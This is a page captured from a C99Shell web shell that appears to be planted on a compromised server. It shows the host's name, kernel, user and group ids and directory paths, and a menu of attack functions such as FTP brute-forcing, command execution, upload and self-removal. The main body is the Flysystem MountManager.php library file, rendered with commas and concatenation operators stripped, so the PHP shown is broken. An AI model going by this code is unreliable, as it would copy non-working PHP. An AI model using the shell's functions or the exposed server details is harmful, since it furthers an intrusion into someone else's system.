!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/league/flysystem/src/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MountManager.php (17.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace League\Flysystem;

use 
InvalidArgumentException;
use 
League\Flysystem\Plugin\PluggableTrait;
use 
League\Flysystem\Plugin\PluginNotFoundException;

/**
 * Class MountManager.
 *
 * Proxies methods to Filesystem (@see __call):
 *
 * @method AdapterInterface getAdapter($prefix)
 * @method Config getConfig($prefix)
 * @method array listFiles($directory = '', $recursive = false)
 * @method array listPaths($directory = '', $recursive = false)
 * @method array getWithMetadata($path, array $metadata)
 * @method Filesystem flushCache()
 * @method void assertPresent($path)
 * @method void assertAbsent($path)
 * @method Filesystem addPlugin(PluginInterface $plugin)
 */
class MountManager implements FilesystemInterface
{
    use 
PluggableTrait;

    
/**
     * @var FilesystemInterface[]
     */
    
protected $filesystems = [];

    
/**
     * Constructor.
     *
     * @param FilesystemInterface[] $filesystems [:prefix => Filesystem,]
     *
     * @throws InvalidArgumentException
     */
    
public function __construct(array $filesystems = [])
    {
        
$this->mountFilesystems($filesystems);
    }

    
/**
     * Mount filesystems.
     *
     * @param FilesystemInterface[] $filesystems [:prefix => Filesystem,]
     *
     * @throws InvalidArgumentException
     *
     * @return $this
     */
    
public function mountFilesystems(array $filesystems)
    {
        foreach (
$filesystems as $prefix => $filesystem) {
            
$this->mountFilesystem($prefix$filesystem);
        }

        return 
$this;
    }

    
/**
     * Mount filesystems.
     *
     * @param string              $prefix
     * @param FilesystemInterface $filesystem
     *
     * @throws InvalidArgumentException
     *
     * @return $this
     */
    
public function mountFilesystem($prefixFilesystemInterface $filesystem)
    {
        if ( ! 
is_string($prefix)) {
            throw new 
InvalidArgumentException(__METHOD__ ' expects argument #1 to be a string.');
        }

        
$this->filesystems[$prefix] = $filesystem;

        return 
$this;
    }

    
/**
     * Get the filesystem with the corresponding prefix.
     *
     * @param string $prefix
     *
     * @throws FilesystemNotFoundException
     *
     * @return FilesystemInterface
     */
    
public function getFilesystem($prefix)
    {
        if ( ! isset(
$this->filesystems[$prefix])) {
            throw new 
FilesystemNotFoundException('No filesystem mounted with prefix ' $prefix);
        }

        return 
$this->filesystems[$prefix];
    }

    
/**
     * Retrieve the prefix from an arguments array.
     *
     * @param array $arguments
     *
     * @throws InvalidArgumentException
     *
     * @return array [:prefix, :arguments]
     */
    
public function filterPrefix(array $arguments)
    {
        if (empty(
$arguments)) {
            throw new 
InvalidArgumentException('At least one argument needed');
        }

        
$path array_shift($arguments);

        if ( ! 
is_string($path)) {
            throw new 
InvalidArgumentException('First argument should be a string');
        }

        list(
$prefix$path) = $this->getPrefixAndPath($path);
        
array_unshift($arguments$path);

        return [
$prefix$arguments];
    }

    
/**
     * @param string $directory
     * @param bool   $recursive
     *
     * @throws InvalidArgumentException
     * @throws FilesystemNotFoundException
     *
     * @return array
     */
    
public function listContents($directory ''$recursive false)
    {
        list(
$prefix$directory) = $this->getPrefixAndPath($directory);
        
$filesystem $this->getFilesystem($prefix);
        
$result $filesystem->listContents($directory$recursive);

        foreach (
$result as &$file) {
            
$file['filesystem'] = $prefix;
        }

        return 
$result;
    }

    
/**
     * Call forwarder.
     *
     * @param string $method
     * @param array  $arguments
     *
     * @throws InvalidArgumentException
     * @throws FilesystemNotFoundException
     *
     * @return mixed
     */
    
public function __call($method$arguments)
    {
        list(
$prefix$arguments) = $this->filterPrefix($arguments);

        return 
$this->invokePluginOnFilesystem($method$arguments$prefix);
    }

    
/**
     * @param string $from
     * @param string $to
     * @param array  $config
     *
     * @throws InvalidArgumentException
     * @throws FilesystemNotFoundException
     * @throws FileExistsException
     *
     * @return bool
     */
    
public function copy($from$to, array $config = [])
    {
        list(
$prefixFrom$from) = $this->getPrefixAndPath($from);

        
$buffer $this->getFilesystem($prefixFrom)->readStream($from);

        if (
$buffer === false) {
            return 
false;
        }

        list(
$prefixTo$to) = $this->getPrefixAndPath($to);

        
$result $this->getFilesystem($prefixTo)->writeStream($to$buffer$config);

        if (
is_resource($buffer)) {
            
fclose($buffer);
        }

        return 
$result;
    }

    
/**
     * List with plugin adapter.
     *
     * @param array  $keys
     * @param string $directory
     * @param bool   $recursive
     *
     * @throws InvalidArgumentException
     * @throws FilesystemNotFoundException
     *
     * @return array
     */
    
public function listWith(array $keys = [], $directory ''$recursive false)
    {
        list(
$prefix$directory) = $this->getPrefixAndPath($directory);
        
$arguments = [$keys$directory$recursive];

        return 
$this->invokePluginOnFilesystem('listWith'$arguments$prefix);
    }

    
/**
     * Move a file.
     *
     * @param string $from
     * @param string $to
     * @param array  $config
     *
     * @throws InvalidArgumentException
     * @throws FilesystemNotFoundException
     *
     * @return bool
     */
    
public function move($from$to, array $config = [])
    {
        list(
$prefixFrom$pathFrom) = $this->getPrefixAndPath($from);
        list(
$prefixTo$pathTo) = $this->getPrefixAndPath($to);

        if (
$prefixFrom === $prefixTo) {
            
$filesystem $this->getFilesystem($prefixFrom);
            
$renamed $filesystem->rename($pathFrom$pathTo);

            if (
$renamed && isset($config['visibility'])) {
                return 
$filesystem->setVisibility($pathTo$config['visibility']);
            }

            return 
$renamed;
        }

        
$copied $this->copy($from$to$config);

        if (
$copied) {
            return 
$this->delete($from);
        }

        return 
false;
    }

    
/**
     * Invoke a plugin on a filesystem mounted on a given prefix.
     *
     * @param string $method
     * @param array  $arguments
     * @param string $prefix
     *
     * @throws FilesystemNotFoundException
     *
     * @return mixed
     */
    
public function invokePluginOnFilesystem($method$arguments$prefix)
    {
        
$filesystem $this->getFilesystem($prefix);

        try {
            return 
$this->invokePlugin($method$arguments$filesystem);
        } catch (
PluginNotFoundException $e) {
            
// Let it pass, it's ok, don't panic.
        
}

        
$callback = [$filesystem$method];

        return 
call_user_func_array($callback$arguments);
    }

    
/**
     * @param string $path
     *
     * @throws InvalidArgumentException
     *
     * @return string[] [:prefix, :path]
     */
    
protected function getPrefixAndPath($path)
    {
        if (
strpos($path'://') < 1) {
            throw new 
InvalidArgumentException('No prefix detected in path: ' $path);
        }

        return 
explode('://'$path2);
    }

    
/**
     * Check whether a file exists.
     *
     * @param string $path
     *
     * @return bool
     */
    
public function has($path)
    {
        list(
$prefix$path) = $this->getPrefixAndPath($path);

        return 
$this->getFilesystem($prefix)->has($path);
    }

    
/**
     * Read a file.
     *
     * @param string $path The path to the file.
     *
     * @throws FileNotFoundException
     *
     * @return string|false The file contents or false on failure.
     */
    
public function read($path)
    {
        list(
$prefix$path) = $this->getPrefixAndPath($path);

        return 
$this->getFilesystem($prefix)->read($path);
    }

    
/**
     * Retrieves a read-stream for a path.
     *
     * @param string $path The path to the file.
     *
     * @throws FileNotFoundException
     *
     * @return resource|false The path resource or false on failure.
     */
    
public function readStream($path)
    {
        list(
$prefix$path) = $this->getPrefixAndPath($path);

        return 
$this->getFilesystem($prefix)->readStream($path);
    }

    
/**
     * Get a file's metadata.
     *
     * @param string $path The path to the file.
     *
     * @throws FileNotFoundException
     *
     * @return array|false The file metadata or false on failure.
     */
    
public function getMetadata($path)
    {
        list(
$prefix$path) = $this->getPrefixAndPath($path);

        return 
$this->getFilesystem($prefix)->getMetadata($path);
    }

    
/**
     * Get a file's size.
     *
     * @param string $path The path to the file.
     *
     * @throws FileNotFoundException
     *
     * @return int|false The file size or false on failure.
     */
    
public function getSize($path)
    {
        list(
$prefix$path) = $this->getPrefixAndPath($path);

        return 
$this->getFilesystem($prefix)->getSize($path);
    }

    
/**
     * Get a file's mime-type.
     *
     * @param string $path The path to the file.
     *
     * @throws FileNotFoundException
     *
     * @return string|false The file mime-type or false on failure.
     */
    
public function getMimetype($path)
    {
        list(
$prefix$path) = $this->getPrefixAndPath($path);

        return 
$this->getFilesystem($prefix)->getMimetype($path);
    }

    
/**
     * Get a file's timestamp.
     *
     * @param string $path The path to the file.
     *
     * @throws FileNotFoundException
     *
     * @return string|false The timestamp or false on failure.
     */
    
public function getTimestamp($path)
    {
        list(
$prefix$path) = $this->getPrefixAndPath($path);

        return 
$this->getFilesystem($prefix)->getTimestamp($path);
    }

    
/**
     * Get a file's visibility.
     *
     * @param string $path The path to the file.
     *
     * @throws FileNotFoundException
     *
     * @return string|false The visibility (public|private) or false on failure.
     */
    
public function getVisibility($path)
    {
        list(
$prefix$path) = $this->getPrefixAndPath($path);

        return 
$this->getFilesystem($prefix)->getVisibility($path);
    }

    
/**
     * Write a new file.
     *
     * @param string $path     The path of the new file.
     * @param string $contents The file contents.
     * @param array  $config   An optional configuration array.
     *
     * @throws FileExistsException
     *
     * @return bool True on success, false on failure.
     */
    
public function write($path$contents, array $config = [])
    {
        list(
$prefix$path) = $this->getPrefixAndPath($path);

        return 
$this->getFilesystem($prefix)->write($path$contents$config);
    }

    
/**
     * Write a new file using a stream.
     *
     * @param string   $path     The path of the new file.
     * @param resource $resource The file handle.
     * @param array    $config   An optional configuration array.
     *
     * @throws InvalidArgumentException If $resource is not a file handle.
     * @throws FileExistsException
     *
     * @return bool True on success, false on failure.
     */
    
public function writeStream($path$resource, array $config = [])
    {
        list(
$prefix$path) = $this->getPrefixAndPath($path);

        return 
$this->getFilesystem($prefix)->writeStream($path$resource$config);
    }

    
/**
     * Update an existing file.
     *
     * @param string $path     The path of the existing file.
     * @param string $contents The file contents.
     * @param array  $config   An optional configuration array.
     *
     * @throws FileNotFoundException
     *
     * @return bool True on success, false on failure.
     */
    
public function update($path$contents, array $config = [])
    {
        list(
$prefix$path) = $this->getPrefixAndPath($path);

        return 
$this->getFilesystem($prefix)->update($path$contents$config);
    }

    
/**
     * Update an existing file using a stream.
     *
     * @param string   $path     The path of the existing file.
     * @param resource $resource The file handle.
     * @param array    $config   An optional configuration array.
     *
     * @throws InvalidArgumentException If $resource is not a file handle.
     * @throws FileNotFoundException
     *
     * @return bool True on success, false on failure.
     */
    
public function updateStream($path$resource, array $config = [])
    {
        list(
$prefix$path) = $this->getPrefixAndPath($path);

        return 
$this->getFilesystem($prefix)->updateStream($path$resource$config);
    }

    
/**
     * Rename a file.
     *
     * @param string $path    Path to the existing file.
     * @param string $newpath The new path of the file.
     *
     * @throws FileExistsException   Thrown if $newpath exists.
     * @throws FileNotFoundException Thrown if $path does not exist.
     *
     * @return bool True on success, false on failure.
     */
    
public function rename($path$newpath)
    {
        list(
$prefix$path) = $this->getPrefixAndPath($path);

        return 
$this->getFilesystem($prefix)->rename($path$newpath);
    }

    
/**
     * Delete a file.
     *
     * @param string $path
     *
     * @throws FileNotFoundException
     *
     * @return bool True on success, false on failure.
     */
    
public function delete($path)
    {
        list(
$prefix$path) = $this->getPrefixAndPath($path);

        return 
$this->getFilesystem($prefix)->delete($path);
    }

    
/**
     * Delete a directory.
     *
     * @param string $dirname
     *
     * @throws RootViolationException Thrown if $dirname is empty.
     *
     * @return bool True on success, false on failure.
     */
    
public function deleteDir($dirname)
    {
        list(
$prefix$dirname) = $this->getPrefixAndPath($dirname);

        return 
$this->getFilesystem($prefix)->deleteDir($dirname);
    }

    
/**
     * Create a directory.
     *
     * @param string $dirname The name of the new directory.
     * @param array  $config  An optional configuration array.
     *
     * @return bool True on success, false on failure.
     */
    
public function createDir($dirname, array $config = [])
    {
        list(
$prefix$dirname) = $this->getPrefixAndPath($dirname);

        return 
$this->getFilesystem($prefix)->createDir($dirname);
    }

    
/**
     * Set the visibility for a file.
     *
     * @param string $path       The path to the file.
     * @param string $visibility One of 'public' or 'private'.
     *
     * @throws FileNotFoundException
     *
     * @return bool True on success, false on failure.
     */
    
public function setVisibility($path$visibility)
    {
        list(
$prefix$path) = $this->getPrefixAndPath($path);

        return 
$this->getFilesystem($prefix)->setVisibility($path$visibility);
    }

    
/**
     * Create a file or update if exists.
     *
     * @param string $path     The path to the file.
     * @param string $contents The file contents.
     * @param array  $config   An optional configuration array.
     *
     * @return bool True on success, false on failure.
     */
    
public function put($path$contents, array $config = [])
    {
        list(
$prefix$path) = $this->getPrefixAndPath($path);

        return 
$this->getFilesystem($prefix)->put($path$contents$config);
    }

    
/**
     * Create a file or update if exists.
     *
     * @param string   $path     The path to the file.
     * @param resource $resource The file handle.
     * @param array    $config   An optional configuration array.
     *
     * @throws InvalidArgumentException Thrown if $resource is not a resource.
     *
     * @return bool True on success, false on failure.
     */
    
public function putStream($path$resource, array $config = [])
    {
        list(
$prefix$path) = $this->getPrefixAndPath($path);

        return 
$this->getFilesystem($prefix)->putStream($path$resource$config);
    }

    
/**
     * Read and delete a file.
     *
     * @param string $path The path to the file.
     *
     * @throws FileNotFoundException
     *
     * @return string|false The file contents, or false on failure.
     */
    
public function readAndDelete($path)
    {
        list(
$prefix$path) = $this->getPrefixAndPath($path);

        return 
$this->getFilesystem($prefix)->readAndDelete($path);
    }

    
/**
     * Get a file/directory handler.
     *
     * @deprecated
     *
     * @param string  $path    The path to the file.
     * @param Handler $handler An optional existing handler to populate.
     *
     * @return Handler Either a file or directory handler.
     */
    
public function get($pathHandler $handler null)
    {
        list(
$prefix$path) = $this->getPrefixAndPath($path);

        return 
$this->getFilesystem($prefix)->get($path);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--